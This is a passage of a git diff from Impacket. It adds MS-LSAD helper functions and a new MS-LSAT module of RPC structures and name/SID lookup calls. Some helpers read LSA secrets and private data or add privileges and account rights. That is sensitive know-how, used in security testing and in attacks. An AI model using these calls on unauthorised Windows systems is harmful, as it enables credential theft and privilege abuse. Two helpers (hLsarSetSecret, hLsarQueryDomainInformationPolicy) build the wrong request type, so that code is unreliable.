+ 8 : (LsarSetInformationPolicy, LsarSetInformationPolicyResponse),
+10 : (LsarCreateAccount, LsarCreateAccountResponse),
+11 : (LsarEnumerateAccounts, LsarEnumerateAccountsResponse),
+#12 : (LsarCreateTrustedDomain, LsarCreateTrustedDomainResponse),
+13 : (LsarEnumerateTrustedDomains, LsarEnumerateTrustedDomainsResponse),
+16 : (LsarCreateSecret, LsarCreateSecretResponse),
+17 : (LsarOpenAccount, LsarOpenAccountResponse),
+18 : (LsarEnumeratePrivilegesAccount, LsarEnumeratePrivilegesAccountResponse),
+19 : (LsarAddPrivilegesToAccount, LsarAddPrivilegesToAccountResponse),
+20 : (LsarRemovePrivilegesFromAccount, LsarRemovePrivilegesFromAccountResponse),
+23 : (LsarGetSystemAccessAccount, LsarGetSystemAccessAccountResponse),
+24 : (LsarSetSystemAccessAccount, LsarSetSystemAccessAccountResponse),
+#25 : (LsarOpenTrustedDomain, LsarOpenTrustedDomainResponse),
+#26 : (LsarQueryInfoTrustedDomain, LsarQueryInfoTrustedDomainResponse),
+#27 : (LsarSetInformationTrustedDomain, LsarSetInformationTrustedDomainResponse),
+28 : (LsarOpenSecret, LsarOpenSecretResponse),
+29 : (LsarSetSecret, LsarSetSecretResponse),
+30 : (LsarQuerySecret, LsarQuerySecretResponse),
+31 : (LsarLookupPrivilegeValue, LsarLookupPrivilegeValueResponse),
+32 : (LsarLookupPrivilegeName, LsarLookupPrivilegeNameResponse),
+33 : (LsarLookupPrivilegeDisplayName, LsarLookupPrivilegeDisplayNameResponse),
+34 : (LsarDeleteObject, LsarDeleteObjectResponse),
+35 : (LsarEnumerateAccountsWithUserRight, LsarEnumerateAccountsWithUserRightResponse),
+36 : (LsarEnumerateAccountRights, LsarEnumerateAccountRightsResponse),
+37 : (LsarAddAccountRights, LsarAddAccountRightsResponse),
+38 : (LsarRemoveAccountRights, LsarRemoveAccountRightsResponse),
+#39 : (LsarQueryTrustedDomainInfo, LsarQueryTrustedDomainInfoResponse),
+#40 : (LsarSetTrustedDomainInfo, LsarSetTrustedDomainInfoResponse),
+#41 : (LsarDeleteTrustedDomain, LsarDeleteTrustedDomainResponse),
+42 : (LsarStorePrivateData, LsarStorePrivateDataResponse),
+43 : (LsarRetrievePrivateData, LsarRetrievePrivateDataResponse),
+44 : (LsarOpenPolicy2, LsarOpenPolicy2Response),
+46 : (LsarQueryInformationPolicy2, LsarQueryInformationPolicy2Response),
+47 : (LsarSetInformationPolicy2, LsarSetInformationPolicy2Response),
+#48 : (LsarQueryTrustedDomainInfoByName, LsarQueryTrustedDomainInfoByNameResponse),
+#49 : (LsarSetTrustedDomainInfoByName, LsarSetTrustedDomainInfoByNameResponse),
+50 : (LsarEnumerateTrustedDomainsEx, LsarEnumerateTrustedDomainsExResponse),
+#51 : (LsarCreateTrustedDomainEx, LsarCreateTrustedDomainExResponse),
+53 : (LsarQueryDomainInformationPolicy, LsarQueryDomainInformationPolicyResponse),
+#54 : (LsarSetDomainInformationPolicy, LsarSetDomainInformationPolicyResponse),
+#55 : (LsarOpenTrustedDomainByName, LsarOpenTrustedDomainByNameResponse),
+#59 : (LsarCreateTrustedDomainEx2, LsarCreateTrustedDomainEx2Response),
+#73 : (LsarQueryForestTrustInformation, LsarQueryForestTrustInformationResponse),
+#74 : (LsarSetForestTrustInformation, LsarSetForestTrustInformationResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hLsarOpenPolicy2(dce, desiredAccess = MAXIMUM_ALLOWED):
+    request = LsarOpenPolicy2()
+    request['SystemName'] = NULL
+    request['ObjectAttributes']['RootDirectory'] = NULL
+    request['ObjectAttributes']['ObjectName'] = NULL
+    request['ObjectAttributes']['SecurityDescriptor'] = NULL
+    request['ObjectAttributes']['SecurityQualityOfService'] = NULL
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarOpenPolicy(dce, desiredAccess = MAXIMUM_ALLOWED):
+    request = LsarOpenPolicy()
+    request['SystemName'] = NULL
+    request['ObjectAttributes']['RootDirectory'] = NULL
+    request['ObjectAttributes']['ObjectName'] = NULL
+    request['ObjectAttributes']['SecurityDescriptor'] = NULL
+    request['ObjectAttributes']['SecurityQualityOfService'] = NULL
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarQueryInformationPolicy2(dce, policyHandle, informationClass):
+    request = LsarQueryInformationPolicy2()
+    request['PolicyHandle'] = policyHandle
+    request['InformationClass'] = informationClass
+    return dce.request(request)
+
+def hLsarQueryInformationPolicy(dce, policyHandle, informationClass):
+    request = LsarQueryInformationPolicy()
+    request['PolicyHandle'] = policyHandle
+    request['InformationClass'] = informationClass
+    return dce.request(request)
+
+def hLsarQueryDomainInformationPolicy(dce, policyHandle, informationClass):
+    request = LsarQueryInformationPolicy()
+    request['PolicyHandle'] = policyHandle
+    request['InformationClass'] = informationClass
+    return dce.request(request)
+
+def hLsarEnumerateAccounts(dce, policyHandle, preferedMaximumLength=0xffffffff):
+    request = LsarEnumerateAccounts()
+    request['PolicyHandle'] = policyHandle
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hLsarEnumerateAccountsWithUserRight(dce, policyHandle, UserRight):
+    request = LsarEnumerateAccountsWithUserRight()
+    request['PolicyHandle'] = policyHandle
+    request['UserRight'] = UserRight
+    return dce.request(request)
+
+def hLsarEnumerateTrustedDomainsEx(dce, policyHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = LsarEnumerateTrustedDomainsEx()
+    request['PolicyHandle'] = policyHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hLsarEnumerateTrustedDomains(dce, policyHandle, enumerationContext=0, preferedMaximumLength=0xffffffff):
+    request = LsarEnumerateTrustedDomains()
+    request['PolicyHandle'] = policyHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hLsarOpenAccount(dce, policyHandle, accountSid, desiredAccess=MAXIMUM_ALLOWED):
+    request = LsarOpenAccount()
+    request['PolicyHandle'] = policyHandle
+    request['AccountSid'].fromCanonical(accountSid)
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarClose(dce, objectHandle):
+    request = LsarClose()
+    request['ObjectHandle'] = objectHandle
+    return dce.request(request)
+
+def hLsarCreateAccount(dce, policyHandle, accountSid, desiredAccess=MAXIMUM_ALLOWED):
+    request = LsarCreateAccount()
+    request['PolicyHandle'] = policyHandle
+    request['AccountSid'].fromCanonical(accountSid)
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarDeleteObject(dce, objectHandle):
+    request = LsarDeleteObject()
+    request['ObjectHandle'] = objectHandle
+    return dce.request(request)
+
+def hLsarEnumeratePrivilegesAccount(dce, accountHandle):
+    request = LsarEnumeratePrivilegesAccount()
+    request['AccountHandle'] = accountHandle
+    return dce.request(request)
+
+def hLsarGetSystemAccessAccount(dce, accountHandle):
+    request = LsarGetSystemAccessAccount()
+    request['AccountHandle'] = accountHandle
+    return dce.request(request)
+
+def hLsarSetSystemAccessAccount(dce, accountHandle, systemAccess):
+    request = LsarSetSystemAccessAccount()
+    request['AccountHandle'] = accountHandle
+    request['SystemAccess'] = systemAccess
+    return dce.request(request)
+
+def hLsarAddPrivilegesToAccount(dce, accountHandle, privileges):
+    request = LsarAddPrivilegesToAccount()
+    request['AccountHandle'] = accountHandle
+    request['Privileges']['PrivilegeCount'] = len(privileges)
+    request['Privileges']['Control'] = 0
+    for priv in privileges:
+        request['Privileges']['Privilege'].append(priv)
+
+    return dce.request(request)
+
+def hLsarRemovePrivilegesFromAccount(dce, accountHandle, privileges, allPrivileges = False):
+    request = LsarRemovePrivilegesFromAccount()
+    request['AccountHandle'] = accountHandle
+    request['Privileges']['Control'] = 0
+    if privileges != NULL:
+        request['Privileges']['PrivilegeCount'] = len(privileges)
+        for priv in privileges:
+            request['Privileges']['Privilege'].append(priv)
+    else:
+        request['Privileges']['PrivilegeCount'] = NULL
+    request['AllPrivileges'] = allPrivileges
+
+    return dce.request(request)
+
+def hLsarEnumerateAccountRights(dce, policyHandle, accountSid):
+    request = LsarEnumerateAccountRights()
+    request['PolicyHandle'] = policyHandle
+    request['AccountSid'].fromCanonical(accountSid)
+    return dce.request(request)
+
+def hLsarAddAccountRights(dce, policyHandle, accountSid, userRights):
+    request = LsarAddAccountRights()
+    request['PolicyHandle'] = policyHandle
+    request['AccountSid'].fromCanonical(accountSid)
+    request['UserRights']['EntriesRead'] = len(userRights)
+    for userRight in userRights:
+        right = RPC_UNICODE_STRING()
+        right['Data'] = userRight
+        request['UserRights']['UserRights'].append(right)
+
+    return dce.request(request)
+
+def hLsarRemoveAccountRights(dce, policyHandle, accountSid, userRights):
+    request = LsarRemoveAccountRights()
+    request['PolicyHandle'] = policyHandle
+    request['AccountSid'].fromCanonical(accountSid)
+    request['UserRights']['EntriesRead'] = len(userRights)
+    for userRight in userRights:
+        right = RPC_UNICODE_STRING()
+        right['Data'] = userRight
+        request['UserRights']['UserRights'].append(right)
+
+    return dce.request(request)
+
+def hLsarCreateSecret(dce, policyHandle, secretName, desiredAccess=MAXIMUM_ALLOWED):
+    request = LsarCreateSecret()
+    request['PolicyHandle'] = policyHandle
+    request['SecretName'] = secretName
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarOpenSecret(dce, policyHandle, secretName, desiredAccess=MAXIMUM_ALLOWED):
+    request = LsarOpenSecret()
+    request['PolicyHandle'] = policyHandle
+    request['SecretName'] = secretName
+    request['DesiredAccess'] = desiredAccess
+    return dce.request(request)
+
+def hLsarSetSecret(dce, secretHandle, encryptedCurrentValue, encryptedOldValue):
+    request = LsarOpenSecret()
+    request['SecretHandle'] = secretHandle
+    if encryptedCurrentValue != NULL:
+        request['EncryptedCurrentValue']['Length'] = len(encryptedCurrentValue)
+        request['EncryptedCurrentValue']['MaximumLength'] = len(encryptedCurrentValue)
+        request['EncryptedCurrentValue']['Buffer'] = list(encryptedCurrentValue)
+    if encryptedOldValue != NULL:
+        request['EncryptedOldValue']['Length'] = len(encryptedOldValue)
+        request['EncryptedOldValue']['MaximumLength'] = len(encryptedOldValue)
+        request['EncryptedOldValue']['Buffer'] = list(encryptedOldValue)
+    return dce.request(request)
+
+def hLsarQuerySecret(dce, secretHandle):
+    request = LsarQuerySecret()
+    request['SecretHandle'] = secretHandle
+    request['EncryptedCurrentValue']['Buffer'] = NULL
+    request['EncryptedOldValue']['Buffer'] = NULL
+    request['OldValueSetTime'] = NULL
+    return dce.request(request)
+
+def hLsarRetrievePrivateData(dce, policyHandle, keyName):
+    request = LsarRetrievePrivateData()
+    request['PolicyHandle'] = policyHandle
+    request['KeyName'] = keyName
+    retVal = dce.request(request)
+    return b''.join(retVal['EncryptedData']['Buffer'])
+
+def hLsarStorePrivateData(dce, policyHandle, keyName, encryptedData):
+    request = LsarStorePrivateData()
+    request['PolicyHandle'] = policyHandle
+    request['KeyName'] = keyName
+    if encryptedData != NULL:
+        request['EncryptedData']['Length'] = len(encryptedData)
+        request['EncryptedData']['MaximumLength'] = len(encryptedData)
+        request['EncryptedData']['Buffer'] = list(encryptedData)
+    else:
+        request['EncryptedData'] = NULL
+    return dce.request(request)
+
+def hLsarEnumeratePrivileges(dce, policyHandle, enumerationContext = 0, preferedMaximumLength = 0xffffffff):
+    request = LsarEnumeratePrivileges()
+    request['PolicyHandle'] = policyHandle
+    request['EnumerationContext'] = enumerationContext
+    request['PreferedMaximumLength'] = preferedMaximumLength
+    return dce.request(request)
+
+def hLsarLookupPrivilegeValue(dce, policyHandle, name):
+    request = LsarLookupPrivilegeValue()
+    request['PolicyHandle'] = policyHandle
+    request['Name'] = name
+    return dce.request(request)
+
+def hLsarLookupPrivilegeName(dce, policyHandle, luid):
+    request = LsarLookupPrivilegeName()
+    request['PolicyHandle'] = policyHandle
+    request['Value'] = luid
+    return dce.request(request)
+
+def hLsarQuerySecurityObject(dce, policyHandle, securityInformation = OWNER_SECURITY_INFORMATION):
+    request = LsarQuerySecurityObject()
+    request['PolicyHandle'] = policyHandle
+    request['SecurityInformation'] = securityInformation
+    retVal =  dce.request(request)
+    return b''.join(retVal['SecurityDescriptor']['SecurityDescriptor'])
+
+def hLsarSetSecurityObject(dce, policyHandle, securityInformation, securityDescriptor):
+    request = LsarSetSecurityObject()
+    request['PolicyHandle'] = policyHandle
+    request['SecurityInformation'] = securityInformation
+    request['SecurityDescriptor']['Length'] = len(securityDescriptor)
+    request['SecurityDescriptor']['SecurityDescriptor'] = list(securityDescriptor)
+    return dce.request(request)
+
+def hLsarSetInformationPolicy2(dce, policyHandle, informationClass, policyInformation):
+    request = LsarSetInformationPolicy2()
+    request['PolicyHandle'] = policyHandle
+    request['InformationClass'] = informationClass
+    request['PolicyInformation'] = policyInformation
+    return dce.request(request)
+
+def hLsarSetInformationPolicy(dce, policyHandle, informationClass, policyInformation):
+    request = LsarSetInformationPolicy()
+    request['PolicyHandle'] = policyHandle
+    request['InformationClass'] = informationClass
+    request['PolicyInformation'] = policyInformation
+    return dce.request(request)
diff --git a/impacket/dcerpc/v5/lsat.py b/impacket/dcerpc/v5/lsat.py
new file mode 100644
index 0000000..b9e2fbf
--- /dev/null
+++ b/impacket/dcerpc/v5/lsat.py
@@ -0,0 +1,497 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-LSAT] Interface implementation
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Some calls have helper functions, which makes it even easier to use.
+#   They are located at the end of this file.
+#   Helper functions start with "h"<name of the call>.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from impacket import nt_errors
+from impacket.dcerpc.v5.dtypes import ULONG, LONG, PRPC_SID, RPC_UNICODE_STRING, LPWSTR, PRPC_UNICODE_STRING, NTSTATUS, \
+    NULL
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.lsad import LSAPR_HANDLE, PLSAPR_TRUST_INFORMATION_ARRAY
+from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRPOINTER, NDRUniConformantArray
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.dcerpc.v5.samr import SID_NAME_USE
+from impacket.uuid import uuidtup_to_bin
+
+MSRPC_UUID_LSAT  = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0'))
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        key = self.error_code
+        if key in nt_errors.ERROR_MESSAGES:
+            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
+            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 
+            return 'LSAT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'LSAT SessionError: unknown error code: 0x%x' % self.error_code
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 2.2.10 ACCESS_MASK
+POLICY_LOOKUP_NAMES             = 0x00000800
+
+################################################################################
+# STRUCTURES
+################################################################################
+# 2.2.12 LSAPR_REFERENCED_DOMAIN_LIST
+class LSAPR_REFERENCED_DOMAIN_LIST(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Domains', PLSAPR_TRUST_INFORMATION_ARRAY),
+        ('MaxEntries', ULONG),
+    )
+
+class PLSAPR_REFERENCED_DOMAIN_LIST(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_REFERENCED_DOMAIN_LIST),
+    )
+
+# 2.2.14 LSA_TRANSLATED_SID
+class LSA_TRANSLATED_SID(NDRSTRUCT):
+    structure = (
+        ('Use', SID_NAME_USE),
+        ('RelativeId', ULONG),
+        ('DomainIndex', LONG),
+    )
+
+# 2.2.15 LSAPR_TRANSLATED_SIDS
+class LSA_TRANSLATED_SID_ARRAY(NDRUniConformantArray):
+    item = LSA_TRANSLATED_SID
+
+class PLSA_TRANSLATED_SID_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSA_TRANSLATED_SID_ARRAY),
+    )
+
+class LSAPR_TRANSLATED_SIDS(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Sids', PLSA_TRANSLATED_SID_ARRAY),
+    )
+
+# 2.2.16 LSAP_LOOKUP_LEVEL
+class LSAP_LOOKUP_LEVEL(NDRENUM):
+    class enumItems(Enum):
+        LsapLookupWksta                = 1
+        LsapLookupPDC                  = 2
+        LsapLookupTDL                  = 3
+        LsapLookupGC                   = 4
+        LsapLookupXForestReferral      = 5
+        LsapLookupXForestResolve       = 6
+        LsapLookupRODCReferralToFullDC = 7
+
+# 2.2.17 LSAPR_SID_INFORMATION
+class LSAPR_SID_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Sid', PRPC_SID),
+    )
+
+# 2.2.18 LSAPR_SID_ENUM_BUFFER
+class LSAPR_SID_INFORMATION_ARRAY(NDRUniConformantArray):
+    item = LSAPR_SID_INFORMATION
+
+class PLSAPR_SID_INFORMATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_SID_INFORMATION_ARRAY),
+    )
+
+class LSAPR_SID_ENUM_BUFFER(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('SidInfo', PLSAPR_SID_INFORMATION_ARRAY),
+    )
+
+# 2.2.19 LSAPR_TRANSLATED_NAME
+class LSAPR_TRANSLATED_NAME(NDRSTRUCT):
+    structure = (
+        ('Use', SID_NAME_USE),
+        ('Name', RPC_UNICODE_STRING),
+        ('DomainIndex', LONG),
+    )
+
+# 2.2.20 LSAPR_TRANSLATED_NAMES
+class LSAPR_TRANSLATED_NAME_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRANSLATED_NAME
+
+class PLSAPR_TRANSLATED_NAME_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRANSLATED_NAME_ARRAY),
+    )
+
+class LSAPR_TRANSLATED_NAMES(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Names', PLSAPR_TRANSLATED_NAME_ARRAY),
+    )
+
+# 2.2.21 LSAPR_TRANSLATED_NAME_EX
+class LSAPR_TRANSLATED_NAME_EX(NDRSTRUCT):
+    structure = (
+        ('Use', SID_NAME_USE),
+        ('Name', RPC_UNICODE_STRING),
+        ('DomainIndex', LONG),
+        ('Flags', ULONG),
+    )
+
+# 2.2.22 LSAPR_TRANSLATED_NAMES_EX
+class LSAPR_TRANSLATED_NAME_EX_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRANSLATED_NAME_EX
+
+class PLSAPR_TRANSLATED_NAME_EX_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRANSLATED_NAME_EX_ARRAY),
+    )
+
+class LSAPR_TRANSLATED_NAMES_EX(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Names', PLSAPR_TRANSLATED_NAME_EX_ARRAY),
+    )
+
+# 2.2.23 LSAPR_TRANSLATED_SID_EX
+class LSAPR_TRANSLATED_SID_EX(NDRSTRUCT):
+    structure = (
+        ('Use', SID_NAME_USE),
+        ('RelativeId', ULONG),
+        ('DomainIndex', LONG),
+        ('Flags', ULONG),
+    )
+
+# 2.2.24 LSAPR_TRANSLATED_SIDS_EX
+class LSAPR_TRANSLATED_SID_EX_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRANSLATED_SID_EX
+
+class PLSAPR_TRANSLATED_SID_EX_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRANSLATED_SID_EX_ARRAY),
+    )
+
+class LSAPR_TRANSLATED_SIDS_EX(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Sids', PLSAPR_TRANSLATED_SID_EX_ARRAY),
+    )
+
+# 2.2.25 LSAPR_TRANSLATED_SID_EX2
+class LSAPR_TRANSLATED_SID_EX2(NDRSTRUCT):
+    structure = (
+        ('Use', SID_NAME_USE),
+        ('Sid', PRPC_SID),
+        ('DomainIndex', LONG),
+        ('Flags', ULONG),
+    )
+
+# 2.2.26 LSAPR_TRANSLATED_SIDS_EX2
+class LSAPR_TRANSLATED_SID_EX2_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRANSLATED_SID_EX2
+
+class PLSAPR_TRANSLATED_SID_EX2_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRANSLATED_SID_EX2_ARRAY),
+    )
+
+class LSAPR_TRANSLATED_SIDS_EX2(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG),
+        ('Sids', PLSAPR_TRANSLATED_SID_EX2_ARRAY),
+    )
+
+class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.4 LsarGetUserName (Opnum 45)
+class LsarGetUserName(NDRCALL):
+    opnum = 45
+    structure = (
+       ('SystemName', LPWSTR),
+       ('UserName', PRPC_UNICODE_STRING),
+       ('DomainName', PRPC_UNICODE_STRING),
+    )
+
+class LsarGetUserNameResponse(NDRCALL):
+    structure = (
+       ('UserName', PRPC_UNICODE_STRING),
+       ('DomainName', PRPC_UNICODE_STRING),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5 LsarLookupNames4 (Opnum 77)
+class LsarLookupNames4(NDRCALL):
+    opnum = 77
+    structure = (
+       ('Count', ULONG),
+       ('Names', RPC_UNICODE_STRING_ARRAY),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+       ('LookupOptions', ULONG),
+       ('ClientRevision', ULONG),
+    )
+
+class LsarLookupNames4Response(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6 LsarLookupNames3 (Opnum 68)
+class LsarLookupNames3(NDRCALL):
+    opnum = 68
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Count', ULONG),
+       ('Names', RPC_UNICODE_STRING_ARRAY),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+       ('LookupOptions', ULONG),
+       ('ClientRevision', ULONG),
+    )
+
+class LsarLookupNames3Response(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX2),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7 LsarLookupNames2 (Opnum 58)
+class LsarLookupNames2(NDRCALL):
+    opnum = 58
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Count', ULONG),
+       ('Names', RPC_UNICODE_STRING_ARRAY),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+       ('LookupOptions', ULONG),
+       ('ClientRevision', ULONG),
+    )
+
+class LsarLookupNames2Response(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS_EX),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.8 LsarLookupNames (Opnum 14)
+class LsarLookupNames(NDRCALL):
+    opnum = 14
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Count', ULONG),
+       ('Names', RPC_UNICODE_STRING_ARRAY),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+    )
+
+class LsarLookupNamesResponse(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedSids', LSAPR_TRANSLATED_SIDS),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.9 LsarLookupSids3 (Opnum 76)
+class LsarLookupSids3(NDRCALL):
+    opnum = 76
+    structure = (
+       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+       ('LookupOptions', ULONG),
+       ('ClientRevision', ULONG),
+    )
+
+class LsarLookupSids3Response(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.10 LsarLookupSids2 (Opnum 57)
+class LsarLookupSids2(NDRCALL):
+    opnum = 57
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+       ('LookupOptions', ULONG),
+       ('ClientRevision', ULONG),
+    )
+
+class LsarLookupSids2Response(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES_EX),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.11 LsarLookupSids (Opnum 15)
+class LsarLookupSids(NDRCALL):
+    opnum = 15
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SidEnumBuffer', LSAPR_SID_ENUM_BUFFER),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES),
+       ('LookupLevel', LSAP_LOOKUP_LEVEL),
+       ('MappedCount', ULONG),
+    )
+
+class LsarLookupSidsResponse(NDRCALL):
+    structure = (
+       ('ReferencedDomains', PLSAPR_REFERENCED_DOMAIN_LIST),
+       ('TranslatedNames', LSAPR_TRANSLATED_NAMES),
+       ('MappedCount', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 14 : (LsarLookupNames, LsarLookupNamesResponse),
+ 15 : (LsarLookupSids, LsarLookupSidsResponse),
+ 45 : (LsarGetUserName, LsarGetUserNameResponse),
+ 57 : (LsarLookupSids2, LsarLookupSids2Response),
+ 58 : (LsarLookupNames2, LsarLookupNames2Response),
+ 68 : (LsarLookupNames3, LsarLookupNames3Response),
+ 76 : (LsarLookupSids3, LsarLookupSids3Response),
+ 77 : (LsarLookupNames4, LsarLookupNames4Response),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def hLsarGetUserName(dce, userName = NULL, domainName = NULL):
+    request = LsarGetUserName()
+    request['SystemName'] = NULL
+    request['UserName'] = userName
+    request['DomainName'] = domainName
+    return dce.request(request)
+
+def hLsarLookupNames4(dce, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
+    request = LsarLookupNames4()
+    request['Count'] = len(names)
+    for name in names:
+        itemn = RPC_UNICODE_STRING()
+        itemn['Data'] = name
+        request['Names'].append(itemn)
+    request['TranslatedSids']['Sids'] = NULL
+    request['LookupLevel'] = lookupLevel
+    request['LookupOptions'] = lookupOptions
+    request['ClientRevision'] = clientRevision
+
+    return dce.request(request)
+
+def hLsarLookupNames3(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
+    request = LsarLookupNames3()
+    request['PolicyHandle'] = policyHandle
+    request['Count'] = len(names)
+    for name in names:
+        itemn = RPC_UNICODE_STRING()
+        itemn['Data'] = name
+        request['Names'].append(itemn)
+    request['TranslatedSids']['Sids'] = NULL
+    request['LookupLevel'] = lookupLevel
+    request['LookupOptions'] = lookupOptions
+    request['ClientRevision'] = clientRevision
+
+    return dce.request(request)
+
+def hLsarLookupNames2(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta, lookupOptions=0x00000000, clientRevision=0x00000001):
+    request = LsarLookupNames2()
+    request['PolicyHandle'] = policyHandle
+    request['Count'] = len(names)
+    for name in names:
+        itemn = RPC_UNICODE_STRING()
+        itemn['Data'] = name
+        request['Names'].append(itemn)
+    request['TranslatedSids']['Sids'] = NULL
+    request['LookupLevel'] = lookupLevel
+    request['LookupOptions'] = lookupOptions
+    request['ClientRevision'] = clientRevision
+
+    return dce.request(request)
+
+def hLsarLookupNames(dce, policyHandle, names, lookupLevel = LSAP_LOOKUP_LEVEL.LsapLookupWksta):
+    request = LsarLookupNames()
+    request['PolicyHandle'] = policyHandle
